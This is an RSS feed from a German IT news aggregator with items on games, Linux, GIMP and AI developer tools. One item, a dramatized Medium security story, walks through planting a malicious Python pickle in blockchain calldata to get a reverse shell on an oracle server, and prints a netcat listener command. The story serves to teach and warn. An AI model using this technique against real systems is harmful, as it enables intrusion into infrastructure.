<content:encoded><![CDATA[Set in the same world as Legend of Keepers, the new tactical tower defense announcement from Goblinz Studio with Infamous Keepers sounds fun.<p><img src="https://www.gamingonlinux.com/uploads/articles/tagline_images/282976131id28868gol.jpg" alt></p><p>Read the full article on <a href="https://www.gamingonlinux.com/2026/04/tower-defense-meets-roguelite-progression-in-infamous-keepers-from-the-legend-of-keepers-devs/">GamingOnLinux</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Alphalist-Gründer Tobias Schlottke: "KI erfordert ein Höchstmaß an Veränderungswillen"]]></title>
<description><![CDATA[Tobias Schlottke entwickelt B2B-SaaS-Unternehmen, in Zeiten von KI ein besonders volatiles Feld. Wie er die Herausforderung annimmt. (Chefs von Devs, KI)]]></description>
<link>https://tsecurity.de/de/3453996/it-nachrichten/alphalist-gruender-tobias-schlottke-ki-erfordert-ein-hoechstmass-an-veraenderungswillen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3453996/it-nachrichten/alphalist-gruender-tobias-schlottke-ki-erfordert-ein-hoechstmass-an-veraenderungswillen/</guid>
<pubDate>Wed, 22 Apr 2026 10:32:15 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Tobias Schlottke entwickelt B2B-SaaS-Unternehmen, in Zeiten von KI ein besonders volatiles Feld. Wie er die Herausforderung annimmt. (<a href="https://www.golem.de/specials/chefsvondevs/">Chefs von Devs</a>, <a href="https://www.golem.de/specials/ki/">KI</a>) <img src="https://cpx.golem.de/cpx.php?class=17&amp;aid=207787&amp;page=1&amp;ts=1776846601" alt="" width="1" height="1">]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic tests how devs react to yanking Claude Code from Pro plan]]></title>
<description><![CDATA[Unannounced change apparently aimed at two percent of users but hit documentation for everyone Anthropic has removed Claude Code from its Pro subscription plan, according to some of its public-facing web pages, but the company says it’s only a test for a small number of users.…]]></description>
<link>https://tsecurity.de/de/3453180/it-nachrichten/anthropic-tests-how-devs-react-to-yanking-claude-code-from-pro-plan/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3453180/it-nachrichten/anthropic-tests-how-devs-react-to-yanking-claude-code-from-pro-plan/</guid>
<pubDate>Wed, 22 Apr 2026 02:32:10 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Unannounced change apparently aimed at two percent of users but hit documentation for everyone</h4> <p>Anthropic has removed Claude Code from its Pro subscription plan, according to some of its public-facing web pages, but the company says it’s only a test for a small number of users.…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Anthropic bakes memory fixes into Bun 1.1.13 as developers complain of leaks]]></title>
<description><![CDATA[Bun is fast as a toolkit but can leak memory in production, causing slowdowns and crashes A new version of the Bun JavaScript runtime and toolkit is out with enhanced testing support and improved memory management. The latter is a critical issue to devs and follows complaints of memory leaks caus...]]></description>
<link>https://tsecurity.de/de/3452080/it-nachrichten/anthropic-bakes-memory-fixes-into-bun-1113-as-developers-complain-of-leaks/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3452080/it-nachrichten/anthropic-bakes-memory-fixes-into-bun-1113-as-developers-complain-of-leaks/</guid>
<pubDate>Tue, 21 Apr 2026 17:31:45 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>Bun is fast as a toolkit but can leak memory in production, causing slowdowns and crashes</h4> <p>A new version of the Bun JavaScript runtime and toolkit is out with enhanced testing support and improved memory management. The latter is a critical issue to devs and follows complaints of memory leaks causing problems in production.…</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[CONFIG_VT=n in 2026]]></title>
<description><![CDATA[CONFIG_VT=n in 2026  This is continuing the series on the progress of Desktop Linux software supporting VT-less kernels. Previous ones can be found here: 2021 2022 2023 2024 (There was none for last year)  The background:  The kernel devs have been trying to deprecate the VT subsystem for some ti...]]></description>
<link>https://tsecurity.de/de/3450109/linux-tipps/configvtn-in-2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3450109/linux-tipps/configvtn-in-2026/</guid>
<pubDate>Tue, 21 Apr 2026 05:23:11 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>CONFIG_VT=n in 2026 </p> <p>This is continuing the series on the progress of Desktop Linux software supporting VT-less kernels. Previous ones can be found here:<br> <a href="https://old.reddit.com/r/linux/comments/njlr5n/life_without_config_vty_in_2021_on_the_desktop">2021</a><br> <a href="https://old.reddit.com/r/linux/comments/sycbn0/showstoppers_in_desktop_linux_without_vts_in_2022">2022</a><br> <a href="https://old.reddit.com/r/linux/comments/10eccv9/config_vtn_in_2023">2023</a><br> <a href="https://old.reddit.com/r/linux/comments/1dpeqay/config_vtn_in_2024">2024</a><br> (There was none for last year) </p> <p>The background: </p> <p>The kernel devs have been trying to <a href="https://web.archive.org/web/20111216082455/http://virtuousgeek.org/blog/index.php/jbarnes?author=1">deprecate the VT subsystem</a> for some time, at least since 2011 (<a href="https://lore.kernel.org/all/21d7e9970605291623k3636f7hcc12028cad5e962b@mail.gmail.com/">The idea was even floated as early as 2006 it seems</a>, although at that point, it was a long way off) . </p> <p>The reasons for deprecating the subsystem include the fact that fbcon and the VT102 terminal emulator for the VT subsystem add complexity to the kernel. Also the subsystem doesn't have many maintainers familiar with it. Some developers consider it "bitrot", so much so that when <a href="https://www.cvedetails.com/cve/CVE-2020-14390">CVE-2020-14390</a> was discovered, the fix was to disable the ability to scroll up due to the complexity of a fix that would still allow users to scroll. Also VT's only support a limited number of characters for upper unicode support, and don't have nicer text rendering features, where adding new ones is too complex to add into kernel mode. </p> <p>As an update since the last post, there have been some progress since the last one from mid 2024: </p> <ul> <li><p>GDM has the logind SecureAttentionKey handling <a href="https://gitlab.gnome.org/GNOME/gdm/-/merge_requests/256">merged now</a> .<br> SDDM also <a href="https://github.com/sddm/sddm/commit/5c7af4e5c02247962da528d2ff49c162706fcecb">merged it</a>, but <em>after</em> v0.21 (v0.22 was never released yet). However, <a href="https://invent.kde.org/plasma/plasma-login-manager">plasma-login-manager</a> being a SDDM fork does have these changes.<br> Lightdm has yet to <a href="https://github.com/ubuntu/lightdm/pull/354">merge the patch</a>, but lightdm also has not had a patch merged <em>at all</em> for over a year, and only a handful were merged in the past 2 years... </p></li> <li><p>More kernel mode graphics drivers do support drm_panic now. I don't have a definite list, The 3 major ones (i915/amdgpu/nouveau) in the vanilla kernel do, as well as virtio, bochs, simpledrm, hyperv based on the fact they implement <code>get_scanout_buffer</code> that is needed to support drm_panic. </p> <ul> <li>drm_panic allows the kernel to draw on the screen when a panic occurs to display a message. For many years, it was not able to do so, and kernel panics would appear as apparent hangs to most users when a modesetting driver was loaded. (Even when using a text mode VT)<br></li> </ul></li> <li><p>The encoding of stack traces, and dmsg logs into a QR code that is displayed by drm_panic is also merged now into the kernel. </p></li> <li><p><a href="https://github.com/kmscon/kmscon/">kmscon</a>, which was dormant for years, is now active again. </p></li> <li><p>While Fedora is looking to use kmscon soon, they are not at the point where they are flipping CONFIG_VT off yet in their kernel. What they are doing is replacing the <a href="mailto:autovt@.service">autovt@.service</a> for now. This is an early step, the VT subsystem is still enabled in the kernel, but instead of starting a getty on the tty itself, kmscon is started on the tty instead with the login prompt. </p> <ul> <li><a href="https://lore.kernel.org/all/20260126092234.713465-1-jfalempe@redhat.com/">They also did try to make an equivalent boot time option to CONFIG_VT, but that got rejected by kernel maintainers</a> .<br></li> </ul></li> <li><p>With kmscon being maintained again, I renamed the fakekmscon project. The new name is <a href="https://gitlab.freedesktop.org/n3rdopolis/reterminatevt">ReterminateVT</a> . fakekmscon was an OK name in 2020 when kmscon was only getting a handful of commits a year, but now that kmscon is active, the similar name would have been more likely to cause confusion. </p> <ul> <li>ReterminateVT has its first tagged pre-release, with contributions from <a href="https://github.com/WavyEbuilder">WavyEbuilder</a> who beefed up the Meson build files, and <a href="https://github.com/eaglgenes101">eaglgenes101</a> who also fixed up Meson, and added initcpio support for recinit, in addition to the existing dracut and mkinitramfs support.<br></li> <li>ReterminateVT now clones the output, instead of using cage's <code>last</code> screen function, meaning the console is not fixed to one random screen anymore.<br></li> <li>The vTTY services can now have multiple instances on a seat, <a href="https://gitlab.freedesktop.org/n3rdopolis/reterminatevt/-/commit/23e2e97d10ed7b34667670815607b7d7cbcbe1ab">instead of just one</a> .<br></li> <li>ReterminateVT has a new service, <code>vtty-seatmanager</code> which can now be used as a minimal display manager replacement. It starts the vTTY instances on the seats. This is mostly for systems without a desktop environment. Enabling vtty-seatmanager.service acts as display-manager.service .<br></li> <li><p>There is now a working <code>vtty-launch</code><br> Until now, users logging in to a VT-less system <em>without a display manager</em> really could not start a display server from a vTTY, unless users were admins, and knew how to do so with <code>systemd-run</code>, and the correct PAMName and environment options. </p> <pre><code> - With this, commands like `startx` or `weston --backend=drm` are `vtty-launch startx` or `vtty-launch weston --backend=drm` </code></pre></li> <li><p>With multiple instances of vTTY supported per-seat, vtty-seatmanager to manage them, and a working vtty-launch, this negates the proposed need for seatd on vt-less and display managerless systems that was mentioned in the 2024 post. </p></li> <li><p>ReterminateVT now allows vTTY's, UvTTYs, and recinit to be configured to optionally use the <code>Fenrir</code> screenreader to read the contents of the pty to the user for <em>accessibility</em>. This should hopefully give users who would have other relied on <code>speakup</code> a chance at still being able to use their systems. </p></li> </ul></li> </ul> <p>Many of the remaining problems are small now, these are the ones I am aware of: </p> <ul> <li><p>This is more of a papercut, but the <a href="https://bugs.kde.org/show_bug.cgi?id=466178">kscreenlocker fail message</a> still doesn't make sense if there is a failure on VT-less systems. On VT-less seats, It tells the user to press Ctrl+Alt+F0 when the screen locker fails and needs manual intervention to switch back after unlocking. It does so, because it uses the VTNr attribute, assuming the seat has VTs. </p></li> <li><p>Another small papercut is wlroots has a <a href="https://gitlab.freedesktop.org/wlroots/wlroots/-/work_items/4040">small issue</a><br> It seems to only impact some virtual GPUs and not others, not sure why. ReterminateVT works around this by setting <code>WLR_DRM_DEVICES</code> to the first GPU of the seat. The VT console tends to only clone among the first GPU, so it's not too much of a problem, it does cause a need for more complexity to recinit and the vTTY and UvTTY frontend scripts though. </p></li> <li><p>cage doesn't really support clone mode itself yet, ReterminateVT uses kanshi, a small daemon that runs under the WAYLAND_DISPLAY to use wlr-output-management to enforce clone mode at this time, instead of the default spanning. There is an <a href="https://github.com/cage-kiosk/cage/pull/470">upstream patch</a> though.<br> kanshi is fairly small though, so it might not matter. </p></li> <li><p>ReterminateVT's initrd builder hooks currently modify the script functions in the tmpdir as the intrd is being built, so that recinit actually starts when the initrd would usually need to start a shell. Usually initrd hooks don't modify files like <code>${DESTDIR}/scripts/functions</code> (Or the like for dracut and initcpio). The changes would have to be made upstream instead... </p></li> </ul> <p>In the end, the first Desktop distribution to disable VTs <a href="https://sourceforge.net/p/rebeccablackos/code/7777/">that is NOT a test distro</a> , or is not embedded-like is probably closer than ever. It will probably be a bit longer before it is disabled by default in the upstream kernel though, as other distributions might not be as quick as Fedora. This is excluding ChromeOS (not sure if it does or not) as ChromeOS is a lot more limited....</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/n3rdopolis"> /u/n3rdopolis </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1srbr7m/config_vtn_in_2026/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1srbr7m/config_vtn_in_2026/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Elden Ring movie hits theaters on March 3, 2028]]></title>
<description><![CDATA[Bandai Namco and A24 have announced that the Elden Ring movie will hit theaters on March 3, 2028. Filming is set to begin in the next several weeks. The movie was first revealed over a year ago, so this is a welcome update. 
We also got a full cast announcement, though the companies haven't said ...]]></description>
<link>https://tsecurity.de/de/3448902/it-nachrichten/the-elden-ring-movie-hits-theaters-on-march-3-2028/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3448902/it-nachrichten/the-elden-ring-movie-hits-theaters-on-march-3-2028/</guid>
<pubDate>Mon, 20 Apr 2026 18:02:29 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Bandai Namco and A24 have announced that the <em>Elden Ring</em> movie <a data-i13n="cpos:1;pos:1" href="https://en.bandainamcoent.eu/elden-ring/news/alex-garlands-elden-ring-theaters-3328-filmed-imaxr-production-underway-full-cast">will hit theaters on March 3, 2028</a>. Filming is set to begin in the next several weeks. The movie was first revealed <a data-i13n="cpos:2;pos:1" href="https://www.engadget.com/gaming/an-elden-ring-movie-directed-by-alex-garland-is-in-the-works-123042735.html"><ins>over a year ago</ins></a>, so this is a welcome update. </p>
<p>We also got a full cast announcement, though the companies haven't said who or what everyone is portraying. The cast includes Kit Connor from <em>Heartstopper</em>, Ben Whishaw from the beloved Paddington movies and Cailee Spaeny from <em>Alien: Romulus</em>. Peter Serafinowicz, Jonathan Pryce, Nick Offerman and Sonoya Mizuno will also appear in the film.</p>
<span></span><p><em>Elden Ring</em> will be written and directed by Alex Garland, fresh off the harrowing <em>Civil War</em>. Garland has directed plenty of sci-fi, with credits like <em>Ex Machina</em>, <em>Annihilation</em> and the woefully <a data-i13n="cpos:3;pos:1" href="https://www.engadget.com/2020-02-18-alex-garland-devs-fx-hulu-review.html"><ins>underrated TV show </ins><em><ins>Devs</ins></em></a>. He hasn't, however, made any legit fantasy, so we'll have to see how he handles the magic-filled continent known as The Lands Between.</p>
<div></div>
<p>In any event, we have nearly two years before finding out. By that time, theaters will have already experienced two new Avengers and Star Wars films. <em>Elden Ring</em>, the game, is getting <a data-i13n="cpos:4;pos:1" href="https://screenrant.com/elden-ring-2026-dlc-official-new-content/"><ins>some new DLC content this year</ins></a> with armor sets, weapons and skins.</p>This article originally appeared on Engadget at https://www.engadget.com/entertainment/tv-movies/the-elden-ring-movie-hits-theaters-on-march-3-2028-154411670.html?src=rss]]></content:encoded>
</item>
<item>
<title><![CDATA[☢️ The Web2.5 Kill Chain (Part 1): The Oracle’s Whisper]]></title>
<description><![CDATA[How I used an “unhackable” blockchain to breach a multi-billion dollar power grid.Disclaimer: The following is a theoretical threat model and educational narrative designed to demonstrate the vulnerabilities in Web2 to Web3 infrastructure pipelines. The entities are fictional. The attack vectors ...]]></description>
<link>https://tsecurity.de/de/3447762/hacking/the-web25-kill-chain-part-1-the-oracles-whisper/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3447762/hacking/the-web25-kill-chain-part-1-the-oracles-whisper/</guid>
<pubDate>Mon, 20 Apr 2026 11:21:12 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h4>How I used an “unhackable” blockchain to breach a multi-billion dollar power grid.</h4><p><em>Disclaimer: The following is a theoretical threat model and educational narrative designed to demonstrate the vulnerabilities in Web2 to Web3 infrastructure pipelines. The entities are fictional. The attack vectors are terrifyingly real.</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0C9J7Lp_pClmE9nyB4tFjQ.jpeg"><figcaption>The immutable ledger was supposed to be a fortress. It turned out to be a Trojan Horse.</figcaption></figure><p>The transaction hash confirmed at exactly 02:14 AM.</p><p>To the Web3 security analysts monitoring the public ledgers for <strong>Nexus Grid</strong>, it looked like nothing more than a routine heartbeat. Just a few standard kilobytes of hex data pushed to their freshly deployed, multi-million dollar smart contract. The cryptographic signatures matched perfectly. The gas fees were paid in full. The decentralized network reached consensus, and the immutable ledger accepted the state change.</p><p>In a glass-walled office somewhere in Silicon Valley, Marcus Vance was probably sleeping like a baby. Vance was the Chief Information Security Officer for Nexus Grid, a decentralized energy consortium that tokenized carbon credits and managed physical power routing for over four million homes via the Ethereum blockchain.</p><p>Just last week, Vance stood on a brightly lit stage at a massive crypto conference in Dubai. He held a microphone and proudly declared his new infrastructure “mathematically unhackable.”</p><p>“Legacy hackers are obsolete,” Vance had smirked to the crowd. “In Web2, they bypassed firewalls. In Web3, they have to break cryptography. Good luck with that.”</p><p>To his credit, Vance had the receipts to back up his arrogance. He had spent half a million dollars on tier-one smart contract audits from the best firms in the industry. His team combed through the Solidity code line by line. They checked for recursive Reentrancy. They mapped out Access Control flaws. They simulated flash loan manipulations and integer overflows.</p><p>The smart contract was a titanium vault. It was bulletproof.</p><p>But Marcus Vance made the classic, fatal mistake of the modern Web3 architect: He thought his perimeter stopped at the blockchain. He spent millions auditing the concrete vault, but he completely forgot to check the wooden bridge leading up to it.</p><h3>The Illusion of Decentralization</h3><p>I go by <strong>Hunter</strong>. I don’t care about draining liquidity pools, and I don’t care about shorting Nexus Grid’s token price. I care about systems. I care about how things break when you push them past their intended design. And Nexus Grid had built the most dangerous, fragile system on the internet: a <strong>Web2.5 pipeline</strong>.</p><p>Here is the dirty little secret of the blockchain industry: a smart contract is entirely blind. It cannot natively “see” the real world. It cannot independently check the weather, read a stock price on the NASDAQ, or measure the physical temperature of a cooling turbine in a power plant.</p><p>To get that data on-chain, it relies on an “Oracle.” An Oracle isn’t some mystical decentralized entity. It is simply a traditional Web2 server that fetches real-world data and pushes it onto the blockchain.</p><p>Nexus Grid’s Oracle was a custom Python application hosted on a highly centralized AWS EC2 instance. Every five minutes, like clockwork, this Oracle node queried their smart contract to read incoming diagnostic data, processed the numbers, and routed operational commands back to their physical internal network.</p><p>Vance’s security team spent months making sure nobody could mathematically spoof the Oracle’s cryptographic address.</p><p>But they forgot to sanitize the actual payload the Oracle was reading.</p><h3>Poisoning the Well</h3><p>Sitting in the cold glow of my terminal, my coffee gone cold hours ago, I knew better than to attack their AWS servers directly. Their enterprise-grade Web Application Firewalls (WAF), rate limiters, and Cloudflare protections would have flagged my IP and blocked a frontal assault in milliseconds.</p><p>Instead, I decided to use their “unhackable” blockchain to walk right through the front door.</p><p>I booted up my local Foundry environment. I forked the Ethereum mainnet locally, recreating Nexus Grid’s entire digital ecosystem on my own machine. I drafted a seemingly standard transaction targeting the Nexus Grid contract’s public submitDiagnostics function.</p><p>But in the calldata—the arbitrary data field attached to every Ethereum transaction, I didn't send the expected JSON array of diagnostic temperatures.</p><p>I sent a weaponized Python serialized object.</p><p>For the non-technical: serialization is how a program turns complex data into a simple byte stream to store or transfer it across a network. Deserialization is putting it back together on the other side.</p><p>In Python, the pickle library handles this. But pickle is notoriously dangerous. If you construct a payload using the __reduce__ method, you can instruct the receiving server to execute arbitrary system commands the exact microsecond it attempts to unpack the data.</p><p>I wasn’t trying to trick the smart contract. I was using the smart contract as a delivery mechanism to bomb the backend server.</p><p>I ran forge test -vvv. The local simulation glowed green. The exploit was viable.</p><p>I compiled the payload. I signed the transaction with a burned, untraceable wallet. I paid the $4 gas fee.</p><p>I broadcasted it to the Ethereum mainnet and watched it vanish into the dark forest of the mempool.</p><h3>The Whisper</h3><p>The blockchain doesn’t care if your data is malicious. It doesn’t have an antivirus scanner or an Intrusion Detection System (IDS). It only cares if the math is correct and the gas is paid.</p><p>Within twelve seconds, a validator picked up my transaction. The network reached consensus. My weaponized payload was permanently and irrevocably etched into the public ledger, replicated across ten thousand nodes worldwide.</p><p>Now, I just had to wait for the Oracle to wake up.</p><p>I opened a second terminal window. I typed out the command to set up a silent Netcat listener on my machine, preparing to catch the inbound connection.</p><p>nc -lvnp 4444</p><p>I hit Enter. The cursor dropped to the next line and blinked steadily in the dark room.</p><p><strong>02:18 AM:</strong> The Nexus Grid Oracle node, hosted deep inside their fortified AWS cloud infrastructure, initiated its routine 5-minute cron job.</p><p><strong>02:19 AM:</strong> Trusting the blockchain as an absolute, immutable source of truth, the Python script reached out to the Ethereum RPC and pulled the latest transaction data from the ledger. It downloaded my payload.</p><p><strong>02:20 AM:</strong> The Oracle called pickle.loads(payload) to parse what it assumed was standard diagnostic data.</p><p>The server didn’t just read the data. It rebuilt it. And in doing so, it executed my embedded bash reverse-shell command.</p><p>Because the malicious command came <em>from the blockchain</em>, a source the infrastructure was explicitly programmed to trust unconditionally, the firewalls never even blinked. The AWS server bypassed its own security perimeter and effectively fetched its own execution orders.</p><p><em>Ping.</em></p><p>My Netcat terminal flickered violently. The steady, blinking cursor vanished, replaced instantly by a raw bash prompt.</p><p>root@ip-172-31-45-92:/opt/nexus-oracle#</p><p>A cold smile crept across my face as my fingers flew across the mechanical keyboard. I typed a single word to confirm my existence on their server:</p><p>whoami</p><p>The system replied: root.</p><p>I was no longer on the blockchain. I was sitting comfortably inside Marcus Vance’s highly-secured Web2 cloud infrastructure.</p><p>The half-million-dollar smart contract audit had passed with flying colors. But the real heist was just beginning.</p><p><strong>Will the SOC catch the pivot before the Cloud falls?</strong></p><p>If you want to see how I move from a raw bash prompt to owning the entire Corporate Directory and threatening the physical grid, you’ll need to follow the trail.</p><p><strong>Next Up, Part 2: Blood in the Directory</strong> <em>(Dropping soon. Stay focused. Trust nothing.)</em></p><p>I’m Tabrez (aka <strong>HunterX461</strong>). When I’m not breaking Web2.5 pipelines, I’m building them back stronger. I’m a Smart Contract Auditor, Offensive Security Researcher, and the architect behind the PROTOCOL ZERO masterclass.</p><p>If you want to stop chasing frontend bugs and start mapping the bleeding edge of Web3 exploitation, hit the <strong>Follow</strong> button. We are just getting started.</p><p>🔗 Connect on <a href="http://www.linkedin.com/in/tabrez-mukadam">LinkedIn</a> | 🛠️ Explore <a href="https://github.com/HunterX461/PROTOCOL-ZERO">PROTOCOL ZERO</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=d2e603c43676" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/%EF%B8%8F-the-web2-5-kill-chain-part-1-the-oracles-whisper-d2e603c43676">☢️ The Web2.5 Kill Chain (Part 1): The Oracle’s Whisper</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Why devs are OBSESSED with Claude Code]]></title>
<description><![CDATA[Author: Alberta Tech - Bewertung: 150x - Views:1573 👉 Grab your free seat to the 2-Day AI Mastermind: https://link.outskill.com/ALBERTATECHAP4
🔐 100% Discount for the first 1000 people
💥 Dive deep into AI and Learn Automations, Build AI Agents, Make videos & images – all for free!


*Chapters*
0:...]]></description>
<link>https://tsecurity.de/de/3446248/videos/why-devs-are-obsessed-with-claude-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3446248/videos/why-devs-are-obsessed-with-claude-code/</guid>
<pubDate>Sun, 19 Apr 2026 16:47:47 +0200</pubDate>
<category>🎥 Videos</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: Alberta Tech - Bewertung: 150x - Views:1573 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/LACyqdAfnaw?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>👉 Grab your free seat to the 2-Day AI Mastermind: https://link.outskill.com/ALBERTATECHAP4<br />
🔐 100% Discount for the first 1000 people<br />
💥 Dive deep into AI and Learn Automations, Build AI Agents, Make videos & images – all for free!<br />
<br />
<br />
*Chapters*<br />
0:00 The OBSESSION<br />
3:21 but first ...<br />
4:04 The leak<br />
6:36 The real reason<br />
<br />
<br />
*Socials*<br />
https://instagram.com/alberta.tech<br />
https://tiktok.com/@alberta.nyc<br />
https://x.com/albertadevs<br />
Substack: https://computerswereamistake.substack.com/<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[GIMP 3.2.4 released with fresh set of bug fixes]]></title>
<description><![CDATA[Bug fixes arrive in GIMP 3.2.4, the latest maintenance update for the current 3.2.x stable series. Assorted improvements made since GIMP 3.2.2 dropped in March include a variety of layer workflow tweaks, like ensuring certain actions, like ‘Layers to Image Size’ and ‘Resize Layer to Selection’, o...]]></description>
<link>https://tsecurity.de/de/3446125/linux-tipps/gimp-324-released-with-fresh-set-of-bug-fixes/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3446125/linux-tipps/gimp-324-released-with-fresh-set-of-bug-fixes/</guid>
<pubDate>Sun, 19 Apr 2026 15:32:01 +0200</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><img width="406" height="232" src="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/09/gimp-3.2-1.jpg?resize=406%2C232&amp;ssl=1" class="attachment-post-list size-post-list wp-post-image" alt="GIMP Wilber logo in front of a brick texture with the number 3.2 graffitied on it" decoding="async" fetchpriority="high" srcset="https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/09/gimp-3.2-1.jpg?resize=350%2C200&amp;ssl=1 350w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/09/gimp-3.2-1.jpg?resize=406%2C232&amp;ssl=1 406w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/09/gimp-3.2-1.jpg?resize=840%2C480&amp;ssl=1 840w, https://i0.wp.com/www.omgubuntu.co.uk/wp-content/uploads/2025/09/gimp-3.2-1.jpg?zoom=3&amp;resize=406%2C232&amp;ssl=1 1218w" sizes="(max-width: 406px) 100vw, 406px">Bug fixes arrive in GIMP 3.2.4, the latest maintenance update for the current 3.2.x stable series. Assorted improvements made since GIMP 3.2.2 dropped in March include a variety of layer workflow tweaks, like ensuring certain actions, like ‘Layers to Image Size’ and ‘Resize Layer to Selection’, only work on raster layers (not vector, linked or text layers). A layer naming issue which broke what GIMP devs refer to as “the principle of least surprise” has been resolved. When opening an XCF file as layers within a different project, imported layer names used the XCF file name, not the original layer […]</p>
<p>You're reading <a href="https://www.omgubuntu.co.uk/2026/04/gimp-3-2-4-bug-fix-update">GIMP 3.2.4 released with fresh set of bug fixes</a>, a blog post from <a href="https://www.omgubuntu.co.uk/">OMG! Ubuntu</a>. Do not reproduce elsewhere without permission.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA["Hold management accountable. Protect the devs": Former Halo art director implores fans to direct anger "where it belongs" after allegations of "unlawful acts"]]></title>
<description><![CDATA[After former Halo art director Glenn Israel claimed "unlawful acts" occurred at Halo Studios, he's asked fans to direct anger to management, not devs.]]></description>
<link>https://tsecurity.de/de/3443230/windows-tipps/hold-management-accountable-protect-the-devs-former-halo-art-director-implores-fans-to-direct-anger-where-it-belongs-after-allegations-of-unlawful-acts/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3443230/windows-tipps/hold-management-accountable-protect-the-devs-former-halo-art-director-implores-fans-to-direct-anger-where-it-belongs-after-allegations-of-unlawful-acts/</guid>
<pubDate>Fri, 17 Apr 2026 22:51:57 +0200</pubDate>
<category>🪟 Windows Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[After former Halo art director Glenn Israel claimed "unlawful acts" occurred at Halo Studios, he's asked fans to direct anger to management, not devs.]]></content:encoded>
</item>
</channel>
</rss>
<!-- Generated in 0,22ms -->